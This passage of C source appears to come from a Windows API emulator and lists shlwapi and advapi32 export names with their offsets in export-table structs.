NULL},\n\t{\"PathSetDlgItemPathA\", 0x000486F5, NULL, NULL},\n\t{\"PathSetDlgItemPathW\", 0x00051819, NULL, NULL},\n\t{\"PathSkipRootA\", 0x00047918, NULL, NULL},\n\t{\"PathSkipRootW\", 0x000510F2, NULL, NULL},\n\t{\"PathStripPathA\", 0x00048347, NULL, NULL},\n\t{\"PathStripPathW\", 0x0001AB2D, NULL, NULL},\n\t{\"PathStripToRootA\", 0x000482DD, NULL, NULL},\n\t{\"PathStripToRootW\", 0x00008405, NULL, NULL},\n\t{\"PathUnExpandEnvStringsA\", 0x000494A7, NULL, NULL},\n\t{\"PathUnExpandEnvStringsW\", 0x00051E99, NULL, NULL},\n\t{\"PathUndecorateA\", 0x00047D28, NULL, NULL},\n\t{\"PathUndecorateW\", 0x0002CF45, NULL, NULL},\n\t{\"PathUnmakeSystemFolderA\", 0x00047C6B, NULL, NULL},\n\t{\"PathUnmakeSystemFolderW\", 0x00051256, NULL, NULL},\n\t{\"PathUnquoteSpacesA\", 0x000476BE, NULL, NULL},\n\t{\"PathUnquoteSpacesW\", 0x0000AFCF, NULL, NULL},\n\t{\"SHAutoComplete\", 0x000213A7, NULL, NULL},\n\t{\"SHCopyKeyA\", 0x00041624, NULL, NULL},\n\t{\"SHCopyKeyW\", 0x0004188A, NULL, NULL},\n\t{\"SHCreateShellPalette\", 0x00011980, NULL, NULL},\n\t{\"SHCreateStreamOnFileA\", 0x00060256, NULL, NULL},\n\t{\"SHCreateStreamOnFileEx\", 0x0001A1E6, NULL, NULL},\n\t{\"SHCreateStreamOnFileW\", 0x0000B8A9, NULL, NULL},\n\t{\"SHCreateStreamWrapper\", 0x0006326C, NULL, NULL},\n\t{\"SHCreateThreadRef\", 0x00017D00, NULL, NULL},\n\t{\"SHDeleteEmptyKeyA\", 0x00041905, NULL, NULL},\n\t{\"SHDeleteEmptyKeyW\", 0x00041915, NULL, NULL},\n\t{\"SHDeleteKeyA\", 0x00018551, NULL, NULL},\n\t{\"SHDeleteKeyW\", 0x00016FD4, NULL, NULL},\n\t{\"SHDeleteOrphanKeyA\", 0x00041905, NULL, NULL},\n\t{\"SHDeleteOrphanKeyW\", 0x00041915, NULL, NULL},\n\t{\"SHDeleteValueA\", 0x000415E1, NULL, NULL},\n\t{\"SHDeleteValueW\", 0x0001C435, NULL, NULL},\n\t{\"SHEnumKeyExA\", 0x00041979, NULL, NULL},\n\t{\"SHEnumKeyExW\", 0x00015138, NULL, NULL},\n\t{\"SHEnumValueA\", 0x0004199F, NULL, NULL},\n\t{\"SHEnumValueW\", 0x000212B9, NULL, NULL},\n\t{\"SHGetInverseCMAP\", 0x000242A4, NULL, NULL},\n\t{\"SHGetThreadRef\", 0x000126D4, NULL, NULL},\n\t{\"SHGetValueA\", 0x00010103, NULL, NULL},\n\t{\"SHGetValueW\", 0x00004597, NULL, NULL},\n\t{\"SHIsLowMemoryMachine\", 0x00056F09, NULL, NULL},\n\t{\"SHOpenRegStream2A\", 0x0001B0C4, NULL, NULL},\n\t{\"SHOpenRegStream2W\", 0x000124FA, NULL, NULL},\n\t{\"SHOpenRegStreamA\", 0x0001BC5C, NULL, NULL},\n\t{\"SHOpenRegStreamW\", 0x000623E9, NULL, NULL},\n\t{\"SHQueryInfoKeyA\", 0x000419CA, NULL, NULL},\n\t{\"SHQueryInfoKeyW\", 0x0001073C, NULL, NULL},\n\t{\"SHQueryValueExA\", 0x0001022B, NULL, NULL},\n\t{\"SHQueryValueExW\", 0x00006F3E, NULL, NULL},\n\t{\"SHRegCloseUSKey\", 0x00008AE8, NULL, NULL},\n\t{\"SHRegCreateUSKeyA\", 0x0001772F, NULL, NULL},\n\t{\"SHRegCreateUSKeyW\", 0x000176C7, NULL, NULL},\n\t{\"SHRegDeleteEmptyUSKeyA\", 0x00041BD3, NULL, NULL},\n\t{\"SHRegDeleteEmptyUSKeyW\", 0x00041C7A, NULL, NULL},\n\t{\"SHRegDeleteUSValueA\", 0x00041AC7, NULL, NULL},\n\t{\"SHRegDeleteUSValueW\", 0x00041B70, NULL, NULL},\n\t{\"SHRegDuplicateHKey\", 0x0000A54F, NULL, NULL},\n\t{\"SHRegEnumUSKeyA\", 0x00041CDD, NULL, NULL},\n\t{\"SHRegEnumUSKeyW\", 0x000150A1, NULL, NULL},\n\t{\"SHRegEnumUSValueA\", 0x00041D67, NULL, NULL},\n\t{\"SHRegEnumUSValueW\", 0x00041E07, NULL, NULL},\n\t{\"SHRegGetBoolUSValueA\", 0x000211F8, NULL, NULL},\n\t{\"SHRegGetBoolUSValueW\", 0x00008FA4, NULL, NULL},\n\t{\"SHRegGetPathA\", 0x00042304, NULL, NULL},\n\t{\"SHRegGetPathW\", 0x00042331, NULL, NULL},\n\t{\"SHRegGetUSValueA\", 0x0001A892, NULL, NULL},\n\t{\"SHRegGetUSValueW\", 0x00008D02, NULL, NULL},\n\t{\"SHRegGetValueA\", 0x0001006A, NULL, NULL},\n\t{\"SHRegGetValueW\", 0x0000432F, NULL, NULL},\n\t{\"SHRegOpenUSKeyA\", 0x00008B59, NULL, NULL},\n\t{\"SHRegOpenUSKeyW\", 0x00008C9A, NULL, NULL},\n\t{\"SHRegQueryInfoUSKeyA\", 0x00041EA7, NULL, NULL},\n\t{\"SHRegQueryInfoUSKeyW\", 0x0001068D, NULL, NULL},\n\t{\"SHRegQueryUSValueA\", 0x000151CE, NULL, NULL},\n\t{\"SHRegQueryUSValueW\", 0x00008E85, NULL, NULL},\n\t{\"SHRegSetPathA\", 0x00041FBE, NULL, NULL},\n\t{\"SHRegSetPathW\", 0x00041F30, NULL, NULL},\n\t{\"SHRegSetUSValueA\", 0x0004274F, NULL, NULL},\n\t{\"SHRegSetUSValueW\", 0x00018ACB, NULL, NULL},\n\t{\"SHRegWriteUSValueA\", 0x0004209D, NULL, NULL},\n\t{\"SHRegWriteUSValueW\", 0x00014FBD, NULL, NULL},\n\t{\"SHRegisterValidateTemplate\", 0x0005615D, NULL, NULL},\n\t{\"SHReleaseThreadRef\", 0x00056EA8, NULL, NULL},\n\t{\"SHSetThreadRef\", 0x00017CC6, NULL, NULL},\n\t{\"SHSetValueA\", 0x000168DB, NULL, NULL},\n\t{\"SHSetValueW\", 0x0000976F, NULL, NULL},\n\t{\"SHSkipJunction\", 0x0001EBF0, NULL, NULL},\n\t{\"SHStrDupA\", 0x00044BA0, NULL, NULL},\n\t{\"SHStrDupW\", 0x00006C73, NULL, NULL},\n\t{\"StrCSpnA\", 0x00044724, NULL, NULL},\n\t{\"StrCSpnIA\", 0x0004476E, NULL, NULL},\n\t{\"StrCSpnIW\", 0x00044CD7, NULL, NULL},\n\t{\"StrCSpnW\", 0x000173A3, NULL, NULL},\n\t{\"StrCatBuffA\", 0x000232BC, NULL, NULL},\n\t{\"StrCatBuffW\", 0x00006B60, NULL, NULL},\n\t{\"StrCatChainW\", 0x00044BFC, NULL, NULL},\n\t{\"StrCatW\", 0x000104C6, NULL, NULL},\n\t{\"StrChrA\", 0x0001AA12, NULL, NULL},\n\t{\"StrChrIA\", 0x0002C4AD, NULL, NULL},\n\t{\"StrChrIW\", 0x00007E50, NULL, NULL},\n\t{\"StrChrNIW\", 0x00044C4B, NULL, NULL},\n\t{\"StrChrNW\", 0x000444CC, NULL, NULL},\n\t{\"StrChrW\", 0x000066CD, NULL, NULL},\n\t{\"StrCmpIW\", 0x00006A9E, NULL, NULL},\n\t{\"StrCmpLogicalW\", 0x000084A5, NULL, NULL},\n\t{\"StrCmpNA\", 0x00020F99, NULL, NULL},\n\t{\"StrCmpNIA\", 0x000107E6, NULL, NULL},\n\t{\"StrCmpNIW\", 0x00006F94, NULL, NULL},\n\t{\"StrCmpNW\", 0x00006DF8, NULL, NULL},\n\t{\"StrCmpW\", 0x00007136, NULL, NULL},\n\t{\"StrCpyNW\", 0x00006763, NULL, NULL},\n\t{\"StrCpyW\", 0x0000683A, NULL, NULL},\n\t{\"StrDupA\", 0x0002CEF4, NULL, NULL},\n\t{\"StrDupW\", 0x00006782, NULL, NULL},\n\t{\"StrFormatByteSize64A\", 0x00044F9F, NULL, NULL},\n\t{\"StrFormatByteSizeA\", 0x00044FE5, NULL, NULL},\n\t{\"StrFormatByteSizeW\", 0x0001C9F2, NULL, NULL},\n\t{\"StrFormatKBSizeA\", 0x00044961, NULL, NULL},\n\t{\"StrFormatKBSizeW\", 0x0001E6D1, NULL, NULL},\n\t{\"StrFromTimeIntervalA\", 0x00045280, NULL, NULL},\n\t{\"StrFromTimeIntervalW\", 0x000452EB, NULL, NULL},\n\t{\"StrIsIntlEqualA\", 0x000448BD, NULL, NULL},\n\t{\"StrIsIntlEqualW\", 0x0000761D, NULL, NULL},\n\t{\"StrNCatA\", 0x0001C913, NULL, NULL},\n\t{\"StrNCatW\", 0x0002CD85, NULL, NULL},\n\t{\"StrPBrkA\", 0x00044564, NULL, NULL},\n\t{\"StrPBrkW\", 0x0001F699, NULL, NULL},\n\t{\"StrRChrA\", 0x00010340, NULL, NULL},\n\t{\"StrRChrIA\", 0x000444FF, NULL, NULL},\n\t{\"StrRChrIW\", 0x00044C8F, NULL, NULL},\n\t{\"StrRChrW\", 0x0000B06E, NULL, NULL},\n\t{\"StrRStrIA\", 0x000447B8, NULL, NULL},\n\t{\"StrRStrIW\", 0x0001389D, NULL, NULL},\n\t{\"StrRetToBSTR\", 0x00044A69, NULL, NULL},\n\t{\"StrRetToBufA\", 0x00044B21, NULL, NULL},\n\t{\"StrRetToBufW\", 0x00006D3F, NULL, NULL},\n\t{\"StrRetToStrA\", 0x00045041, NULL, NULL},\n\t{\"StrRetToStrW\", 0x00012653, NULL, NULL},\n\t{\"StrSpnA\", 0x00044660, NULL, NULL},\n\t{\"StrSpnW\", 0x000446CA, NULL, NULL},\n\t{\"StrStrA\", 0x00014F26, NULL, NULL},\n\t{\"StrStrIA\", 0x0002C4FE, NULL, NULL},\n\t{\"StrStrIW\", 0x00007E8C, NULL, NULL},\n\t{\"StrStrNIW\", 0x00044D1D, NULL, NULL},\n\t{\"StrStrNW\", 0x0004484C, NULL, NULL},\n\t{\"StrStrW\", 0x00006E1C, NULL, NULL},\n\t{\"StrToInt64ExA\", 0x000445B4, NULL, NULL},\n\t{\"StrToInt64ExW\", 0x0001BB70, NULL, NULL},\n\t{\"StrToIntA\", 0x00016A75, NULL, NULL},\n\t{\"StrToIntExA\", 0x00044633, NULL, NULL},\n\t{\"StrToIntExW\", 0x0001BB43, NULL, NULL},\n\t{\"StrToIntW\", 0x0000AF84, NULL, NULL},\n\t{\"StrTrimA\", 0x000449B0, NULL, NULL},\n\t{\"StrTrimW\", 0x00012F27, NULL, NULL},\n\t{\"UrlApplySchemeA\", 0x0005FAEF, NULL, NULL},\n\t{\"UrlApplySchemeW\", 0x0005FBCA, NULL, NULL},\n\t{\"UrlCanonicalizeA\", 0x00016865, NULL, NULL},\n\t{\"UrlCanonicalizeW\", 0x0001E091, NULL, NULL},\n\t{\"UrlCombineA\", 0x000166B0, NULL, NULL},\n\t{\"UrlCombineW\", 0x0001E199, NULL, NULL},\n\t{\"UrlCompareA\", 0x0005EDAD, NULL, NULL},\n\t{\"UrlCompareW\", 0x000239FD, NULL, NULL},\n\t{\"UrlCreateFromPathA\", 0x0005FA02, NULL, NULL},\n\t{\"UrlCreateFromPathW\", 0x0001D8FA, NULL, NULL},\n\t{\"UrlEscapeA\", 0x0005F77D, NULL, NULL},\n\t{\"UrlEscapeW\", 0x00021A6A, NULL, NULL},\n\t{\"UrlGetLocationA\", 0x00021EF2, NULL, NULL},\n\t{\"UrlGetLocationW\", 0x000225D7, NULL, NULL},\n\t{\"UrlGetPartA\", 0x0005F86A, NULL, NULL},\n\t{\"UrlGetPartW\", 0x0000CCBB, NULL, NULL},\n\t{\"UrlHashA\", 0x0005EEC2, NULL, NULL},\n\t{\"UrlHashW\", 0x0005EEFD, NULL, NULL},\n\t{\"UrlIsA\", 0x0005FF49, NULL, NULL},\n\t{\"UrlIsNoHistoryA\", 0x00060026, NULL, NULL},\n\t{\"UrlIsNoHistoryW\", 0x0001D9B2, NULL, NULL},\n\t{\"UrlIsOpaqueA\", 0x0006000E, NULL, NULL},\n\t{\"UrlIsOpaqueW\", 0x00023242, NULL, NULL},\n\t{\"UrlIsW\", 0x0000BCBC, NULL, NULL},\n\t{\"UrlUnescapeA\", 0x0005F970, NULL, NULL},\n\t{\"UrlUnescapeW\", 0x0001DF4C, NULL, NULL},\n\t{\"wnsprintfA\", 0x0000828C, NULL, NULL},\n\t{\"wnsprintfW\", 0x000093F6, NULL, NULL},\n\t{\"wvnsprintfA\", 0x00008012, NULL, NULL},\n\t{\"wvnsprintfW\", 0x00009201, NULL, NULL},\n\t{0,0,NULL},\n};\n\n\nstruct emu_env_w32_dll_export advapi32_exports[] = \n{\n\t{\"I_ScGetCurrentGroupStateW\", 0x00066924, NULL, NULL},\n\t{\"A_SHAFinal\", 0x0002B22D, NULL, NULL},\n\t{\"A_SHAInit\", 0x0002B17D, NULL, NULL},\n\t{\"A_SHAUpdate\", 0x0002B1D1, NULL, NULL},\n\t{\"AbortSystemShutdownA\", 0x00064EB8, NULL, NULL},\n\t{\"AbortSystemShutdownW\", 0x0002D45B, NULL, NULL},\n\t{\"AccessCheck\", 0x000073A0, NULL, NULL},\n\t{\"AccessCheckAndAuditAlarmA\", 0x0003CE49, NULL, NULL},\n\t{\"AccessCheckAndAuditAlarmW\", 0x0002BC6C, NULL, NULL},\n\t{\"AccessCheckByType\", 0x0000F1C9, NULL, NULL},\n\t{\"AccessCheckByTypeAndAuditAlarmA\", 0x0003CF2F, NULL, NULL},\n\t{\"AccessCheckByTypeAndAuditAlarmW\", 0x0003CC37, NULL, NULL},\n\t{\"AccessCheckByTypeResultList\", 0x0003CB61, NULL, NULL},\n\t{\"AccessCheckByTypeResultListAndAuditAlarmA\", 0x0003D024, NULL, NULL},\n\t{\"AccessCheckByTypeResultListAndAuditAlarmByHandleA\", 0x0003D119, NULL, NULL},\n\t{\"AccessCheckByTypeResultListAndAuditAlarmByHandleW\", 0x0003CD94, NULL, NULL},\n\t{\"AccessCheckByTypeResultListAndAuditAlarmW\", 0x0003CCE2, NULL, NULL},\n\t{\"AddAccessAllowedAce\", 0x00007D31, NULL, NULL},\n\t{\"AddAccessAllowedAceEx\", 0x00012ED8, NULL, NULL},\n\t{\"AddAccessAllowedObjectAce\", 0x0003D40C, NULL, NULL},\n\t{\"AddAccessDeniedAce\", 0x0002814F, NULL, NULL},\n\t{\"AddAccessDeniedAceEx\", 0x0003D33F, NULL, NULL},\n\t{\"AddAccessDeniedObjectAce\", 0x0003D45A, NULL, NULL},\n\t{\"AddAce\", 0x00027EA3, NULL, NULL},\n\t{\"AddAuditAccessAce\", 0x0003D387, NULL, NULL},\n\t{\"AddAuditAccessAceEx\", 0x0003D3BE, NULL, NULL},\n\t{\"AddAuditAccessObjectAce\", 0x0003D4A8, NULL, NULL},\n\t{\"AddUsersToEncryptedFile\", 0x00043583, NULL, NULL},\n\t{\"AdjustTokenGroups\", 0x0003CC00, NULL, NULL},\n\t{\"AdjustTokenPrivileges\", 0x0000F00C, NULL, NULL},\n\t{\"AllocateAndInitializeSid\", 0x00007CC9, NULL, NULL},\n\t{\"AllocateLocallyUniqueId\", 0x0000748C, NULL, NULL},\n\t{\"AreAllAccessesGranted\", 0x0002BD7B, NULL, NULL},\n\t{\"AreAnyAccessesGranted\", 0x0002D27D, NULL, NULL},\n\t{\"BackupEventLogA\", 0x0003C8E0, NULL, NULL},\n\t{\"BackupEventLogW\", 0x0003C384, NULL, NULL},\n\t{\"BuildExplicitAccessWithNameA\", 0x00052374, NULL, NULL},\n\t{\"BuildExplicitAccessWithNameW\", 0x00052374, NULL, NULL},\n\t{\"BuildImpersonateExplicitAccessWithNameA\", 0x000523A4, NULL, NULL},\n\t{\"BuildImpersonateExplicitAccessWithNameW\", 0x000523A4, NULL, NULL},\n\t{\"BuildImpersonateTrusteeA\", 0x000524FE, NULL, NULL},\n\t{\"BuildImpersonateTrusteeW\", 0x000524FE, NULL, NULL},\n\t{\"BuildSecurityDescriptorA\", 0x00051EE0, NULL, NULL},\n\t{\"BuildSecurityDescriptorW\", 0x00051CA5, NULL, NULL},\n\t{\"BuildTrusteeWithNameA\", 0x000524D6, NULL, NULL},\n\t{\"BuildTrusteeWithNameW\", 0x000524D6, NULL, NULL},\n\t{\"BuildTrusteeWithObjectsAndNameA\", 0x000525DA, NULL, NULL},\n\t{\"BuildTrusteeWithObjectsAndNameW\", 0x000525DA, NULL, NULL},\n\t{\"BuildTrusteeWithObjectsAndSidA\", 0x0005253F, NULL, NULL},\n\t{\"BuildTrusteeWithObjectsAndSidW\", 0x0005253F, NULL, NULL},\n\t{\"BuildTrusteeWithSidA\", 0x0005251B, NULL, NULL},\n\t{\"BuildTrusteeWithSidW\", 0x0005251B, NULL, NULL},\n\t{\"CancelOverlappedAccess\", 0x00053709, NULL, NULL},\n\t{\"ChangeServiceConfig2A\", 0x00067101, NULL, NULL},\n\t{\"ChangeServiceConfig2W\", 0x00067189, NULL, NULL},\n\t{\"ChangeServiceConfigA\", 0x00066E69, NULL, NULL},\n\t{\"ChangeServiceConfigW\", 0x00067001, NULL, NULL},\n\t{\"CheckTokenMembership\", 0x00007FCA, NULL, NULL},\n\t{\"ClearEventLogA\", 0x0003C877, NULL, NULL},\n\t{\"ClearEventLogW\", 0x0003C265, NULL, NULL},\n\t{\"CloseCodeAuthzLevel\", 0x0000AF98, NULL, NULL},\n\t{\"CloseEncryptedFileRaw\", 0x0004349C, NULL, NULL},\n\t{\"CloseEventLog\", 0x000254BD, NULL, NULL},\n\t{\"CloseServiceHandle\", 0x00016CE5, NULL, NULL},\n\t{\"CloseTrace\", 0x00056DD0, NULL, NULL},\n\t{\"CommandLineFromMsiDescriptor\", 0x0002BE16, NULL, NULL},\n\t{\"ComputeAccessTokenFromCodeAuthzLevel\", 0x0000AB3D, NULL, NULL},\n\t{\"ControlService\", 0x00024A09, NULL, NULL},\n\t{\"ControlTraceA\", 0x0005A029, NULL, NULL},\n\t{\"ControlTraceW\", 0x0002CCED, NULL, NULL},\n\t{\"ConvertAccessToSecurityDescriptorA\", 0x00052E01, NULL, NULL},\n\t{\"ConvertAccessToSecurityDescriptorW\", 0x00052DC5, NULL, NULL},\n\t{\"ConvertSDToStringSDRootDomainA\", 0x00044B5A, NULL, NULL},\n\t{\"ConvertSDToStringSDRootDomainW\", 0x00044976, NULL, NULL},\n\t{\"ConvertSecurityDescriptorToAccessA\", 0x000530DF, NULL, NULL},\n\t{\"ConvertSecurityDescriptorToAccessNamedA\", 0x000530DF, NULL, NULL},\n\t{\"ConvertSecurityDescriptorToAccessNamedW\", 0x000530BA, NULL, NULL},\n\t{\"ConvertSecurityDescriptorToAccessW\", 0x000530BA, NULL, NULL},\n\t{\"ConvertSecurityDescriptorToStringSecurityDescriptorA\", 0x00044DCC, NULL, NULL},\n\t{\"ConvertSecurityDescriptorToStringSecurityDescriptorW\", 0x00044A45, NULL, NULL},\n\t{\"ConvertSidToStringSidA\", 0x0002C18D, NULL, NULL},\n\t{\"ConvertSidToStringSidW\", 0x0000F10F, NULL, NULL},\n\t{\"ConvertStringSDToSDDomainA\", 0x00044C38, NULL, NULL},\n\t{\"ConvertStringSDToSDDomainW\", 0x000449CE, NULL, NULL},\n\t{\"ConvertStringSDToSDRootDomainA\", 0x00044ADC, NULL, NULL},\n\t{\"ConvertStringSDToSDRootDomainW\", 0x00044923, NULL, NULL},\n\t{\"ConvertStringSecurityDescriptorToSecurityDescriptorA\", 0x00044D51, NULL, NULL},\n\t{\"ConvertStringSecurityDescriptorToSecurityDescriptorW\", 0x00012F06, NULL, NULL},\n\t{\"ConvertStringSidToSidA\", 0x00044CDC, NULL, NULL},\n\t{\"ConvertStringSidToSidW\", 0x00024457, NULL, NULL},\n\t{\"ConvertToAutoInheritPrivateObjectSecurity\", 0x0003D5A8, NULL, NULL},\n\t{\"CopySid\", 0x0000F0E7, NULL, NULL},\n\t{\"CreateCodeAuthzLevel\", 0x0004E9C5, NULL, NULL},\n\t{\"CreatePrivateObjectSecurity\", 0x0003D571, NULL, NULL},\n\t{\"CreatePrivateObjectSecurityEx\", 0x00014F2E, NULL, NULL},\n\t{\"CreatePrivateObjectSecurityWithMultipleInheritance\", 0x0003D5DE, NULL, NULL},\n\t{\"CreateProcessAsUserA\", 0x00040CE8, NULL, NULL},\n\t{\"CreateProcessAsUserSecure\", 0x00040ADD, NULL, NULL},\n\t{\"CreateProcessAsUserW\", 0x0001A8A9, NULL, NULL},\n\t{\"CreateProcessWithLogonW\", 0x00045FFD, NULL, NULL},\n\t{\"CreateRestrictedToken\", 0x0003DC8C, NULL, NULL},\n\t{\"CreateServiceA\", 0x00067211, NULL, NULL},\n\t{\"CreateServiceW\", 0x000673A9, NULL, NULL},\n\t{\"CreateTraceInstanceId\", 0x0005ADCB, NULL, NULL},\n\t{\"CreateWellKnownSid\", 0x0002519D, NULL, NULL},\n\t{\"CredDeleteA\", 0x00048509, NULL, NULL},\n\t{\"CredDeleteW\", 0x000485B1, NULL, NULL},\n\t{\"CredEnumerateA\", 0x00047FA9, NULL, NULL},\n\t{\"CredEnumerateW\", 0x00048099, NULL, NULL},\n\t{\"CredFree\", 0x0001DF8D, NULL, NULL},\n\t{\"CredGetSessionTypes\", 0x000489A9, NULL, NULL},\n\t{\"CredGetTargetInfoA\", 0x00048809, NULL, NULL},\n\t{\"CredGetTargetInfoW\", 0x000488D9, NULL, NULL},\n\t{\"CredIsMarshaledCredentialA\", 0x00048F80, NULL, NULL},\n\t{\"CredIsMarshaledCredentialW\", 0x00048E9E, NULL, NULL},\n\t{\"CredMarshalCredentialA\", 0x00048ECC, NULL, NULL},\n\t{\"CredMarshalCredentialW\", 0x00048DC6, NULL, NULL},\n\t{\"CredProfileLoaded\", 0x0001E0F5, NULL, NULL},\n\t{\"CredReadA\", 0x00047DF9, NULL, NULL},\n\t{\"CredReadDomainCredentialsA\", 0x00048329, NULL, NULL},\n\t{\"CredReadDomainCredentialsW\", 0x00048419, NULL, NULL},\n\t{\"CredReadW\", 0x00047ED1, NULL, NULL},\n\t{\"CredRenameA\", 0x00048659, NULL, NULL},\n\t{\"CredRenameW\", 0x00048731, NULL, NULL},\n\t{\"CredUnmarshalCredentialA\", 0x00048F17, NULL, NULL},\n\t{\"CredUnmarshalCredentialW\", 0x00026EDE, NULL, NULL},\n\t{\"CredWriteA\", 0x00047CB9, NULL, NULL},\n\t{\"CredWriteDomainCredentialsA\", 0x00048189, NULL, NULL},\n\t{\"CredWriteDomainCredentialsW\", 0x00048259, NULL, NULL},\n\t{\"CredWriteW\", 0x00047D59, NULL, NULL},\n\t{\"CredpConvertCredential\", 0x0004782D, NULL, NULL},\n\t{\"CredpConvertTargetInfo\", 0x000478D1, NULL, NULL},\n\t{\"CredpDecodeCredential\", 0x00047360, NULL, NULL},\n\t{\"CredpEncodeCredential\", 0x000472F8, NULL, NULL},\n\t{\"CryptAcquireContextA\", 0x0001793D, NULL, NULL},\n\t{\"CryptAcquireContextW\", 0x00017F99, NULL, NULL},\n\t{\"CryptContextAddRef\", 0x00041070, NULL, NULL},\n\t{\"CryptCreateHash\", 0x00019C71, NULL, NULL},\n\t{\"CryptDecrypt\", 0x0001A129, NULL, NULL},\n\t{\"CryptDeriveKey\", 0x00019FFD, NULL, NULL},\n\t{\"CryptDestroyHash\", 0x00019BCC, NULL, NULL},\n\t{\"CryptDestroyKey\", 0x00019EBC, NULL, NULL},\n\t{\"CryptDuplicateHash\", 0x00041CF9, NULL, NULL},\n\t{\"CryptDuplicateKey\", 0x00041939, NULL, NULL},\n\t{\"CryptEncrypt\", 0x0001E360, NULL, NULL},\n\t{\"CryptEnumProviderTypesA\", 0x00041201, NULL, NULL},\n\t{\"CryptEnumProviderTypesW\", 0x000429A1, NULL, NULL},\n\t{\"CryptEnumProvidersA\", 0x00041461, NULL, NULL},\n\t{\"CryptEnumProvidersW\", 0x00042B09, NULL, NULL},\n\t{\"CryptExportKey\", 0x00041BF9, NULL, NULL},\n\t{\"CryptGenKey\", 0x00041849, NULL, NULL},\n\t{\"CryptGenRandom\", 0x0002B3F4, NULL, NULL},\n\t{\"CryptGetDefaultProviderA\", 0x000426E1, NULL, NULL},\n\t{\"CryptGetDefaultProviderW\", 0x00042D89, NULL, NULL},\n\t{\"CryptGetHashParam\", 0x00019DB4, NULL, NULL},\n\t{\"CryptGetKeyParam\", 0x00021298, NULL, NULL},\n\t{\"CryptGetProvParam\", 0x00021339, NULL, NULL},\n\t{\"CryptGetUserKey\", 0x00041B21, NULL, NULL},\n\t{\"CryptHashData\", 0x00019A9E, NULL, NULL},\n\t{\"CryptHashSessionKey\", 0x00041E21, NULL, NULL},\n\t{\"CryptImportKey\", 0x0001A1F1, NULL, NULL},\n\t{\"CryptReleaseContext\", 0x00017EEE, NULL, NULL},\n\t{\"CryptSetHashParam\", 0x00042091, NULL, NULL},\n\t{\"CryptSetKeyParam\", 0x00041A51, NULL, NULL},\n\t{\"CryptSetProvParam\", 0x000410F1, NULL, NULL},\n\t{\"CryptSetProviderA\", 0x00042161, NULL, NULL},\n\t{\"CryptSetProviderExA\", 0x00042329, NULL, NULL},\n\t{\"CryptSetProviderExW\", 0x00042CF1, NULL, NULL},\n\t{\"CryptSetProviderW\", 0x00042C61, NULL, NULL},\n\t{\"CryptSignHashA\", 0x00041FE1, NULL, NULL},\n\t{\"CryptSignHashW\", 0x00041FD1, NULL, NULL},\n\t{\"CryptVerifySignatureA\", 0x0002C841, NULL, NULL},\n\t{\"CryptVerifySignatureW\", 0x00023522, NULL, NULL},\n\t{\"DecryptFileA\", 0x00043741, NULL, NULL},\n\t{\"DecryptFileW\", 0x000433CF, NULL, NULL},\n\t{\"DeleteAce\", 0x0002D29A, NULL, NULL},\n\t{\"DeleteService\", 0x000674B1, NULL, NULL},\n\t{\"DeregisterEventSource\", 0x000279D3, NULL, NULL},\n\t{\"DestroyPrivateObjectSecurity\", 0x00014F0C, NULL, NULL},\n\t{\"DuplicateEncryptionInfoFile\", 0x000435EA, NULL, NULL},\n\t{\"DuplicateToken\", 0x00008211, NULL, NULL},\n\t{\"DuplicateTokenEx\", 0x0000819E, NULL, NULL},\n\t{\"ElfBackupEventLogFileA\", 0x00068AE1, NULL, NULL},\n\t{\"ElfBackupEventLogFileW\", 0x00068899, NULL, NULL},\n\t{\"ElfChangeNotify\", 0x00068726, NULL, NULL},\n\t{\"ElfClearEventLogFileA\", 0x00068A79, NULL, NULL},\n\t{\"ElfClearEventLogFileW\", 0x00068831, NULL, NULL},\n\t{\"ElfCloseEventLog\", 0x000254DE, NULL, NULL},\n\t{\"ElfDeregisterEventSource\", 0x000279F4, NULL, NULL},\n\t{\"ElfFlushEventLog\", 0x00068B81, NULL, NULL},\n\t{\"ElfNumberOfRecords\", 0x00025DAF, NULL, NULL},\n\t{\"ElfOldestRecord\", 0x00025E44, NULL, NULL},\n\t{\"ElfOpenBackupEventLogA\", 0x000689E1, NULL, NULL},\n\t{\"ElfOpenBackupEventLogW\", 0x00068799, NULL, NULL},\n\t{\"ElfOpenEventLogA\", 0x00025EF7, NULL, NULL},\n\t{\"ElfOpenEventLogW\", 0x000210CF, NULL, NULL},\n\t{\"ElfReadEventLogA\", 0x00025CD7, NULL, NULL},\n\t{\"ElfReadEventLogW\", 0x00068939, NULL, NULL},\n\t{\"ElfRegisterEventSourceA\", 0x00027BA7, NULL, NULL},\n\t{\"ElfRegisterEventSourceW\", 0x00028083, NULL, NULL},\n\t{\"ElfReportEventA\", 0x00027DD5, NULL, NULL},\n\t{\"ElfReportEventW\", 0x000237A5, NULL, NULL},\n\t{\"EnableTrace\", 0x0005A5D5, NULL, NULL},\n\t{\"EncryptFileA\", 0x000436AC, NULL, NULL},\n\t{\"EncryptFileW\", 0x00043390, NULL, NULL},\n\t{\"EncryptedFileKeyInfo\", 0x00043651, NULL, NULL},\n\t{\"EncryptionDisable\", 0x00043625, NULL, NULL},\n\t{\"EnumDependentServicesA\", 0x00067529, NULL, NULL},\n\t{\"EnumDependentServicesW\", 0x000675E1, NULL, NULL},\n\t{\"EnumServiceGroupW\", 0x00066A89, NULL, NULL},\n\t{\"EnumServicesStatusA\", 0x00026B47, NULL, NULL},\n\t{\"EnumServicesStatusExA\", 0x00066C2F, NULL, NULL},\n\t{\"EnumServicesStatusExW\", 0x000669B8, NULL, NULL},\n\t{\"EnumServicesStatusW\", 0x00067D61, NULL, NULL},\n\t{\"EnumerateTraceGuids\", 0x0005AE81, NULL, NULL},\n\t{\"EqualDomainSid\", 0x0003DF09, NULL, NULL},\n\t{\"EqualPrefixSid\", 0x0003D2E9, NULL, NULL},\n\t{\"EqualSid\", 0x0000F07A, NULL, NULL},\n\t{\"FileEncryptionStatusA\", 0x000437D9, NULL, NULL},\n\t{\"FileEncryptionStatusW\", 0x00043412, NULL, NULL},\n\t{\"FindFirstFreeAce\", 0x0003D4FC, NULL, NULL},\n\t{\"FlushTraceA\", 0x0005B0BB, NULL, NULL},\n\t{\"FlushTraceW\", 0x0005B0DC, NULL, NULL},\n\t{\"FreeEncryptedFileKeyInfo\", 0x0004368C, NULL, NULL},\n\t{\"FreeEncryptionCertificateHashList\", 0x000434ED, NULL, NULL},\n\t{\"FreeInheritedFromArray\", 0x000524B2, NULL, NULL},\n\t{\"FreeSid\", 0x00007CB8, NULL, NULL},\n\t{\"GetAccessPermissionsForObjectA\", 0x00053869, NULL, NULL},\n\t{\"GetAccessPermissionsForObjectW\", 0x00053781, NULL, NULL},\n\t{\"GetAce\", 0x00014C33, NULL, NULL},\n\t{\"GetAclInformation\", 0x00027E78, NULL, 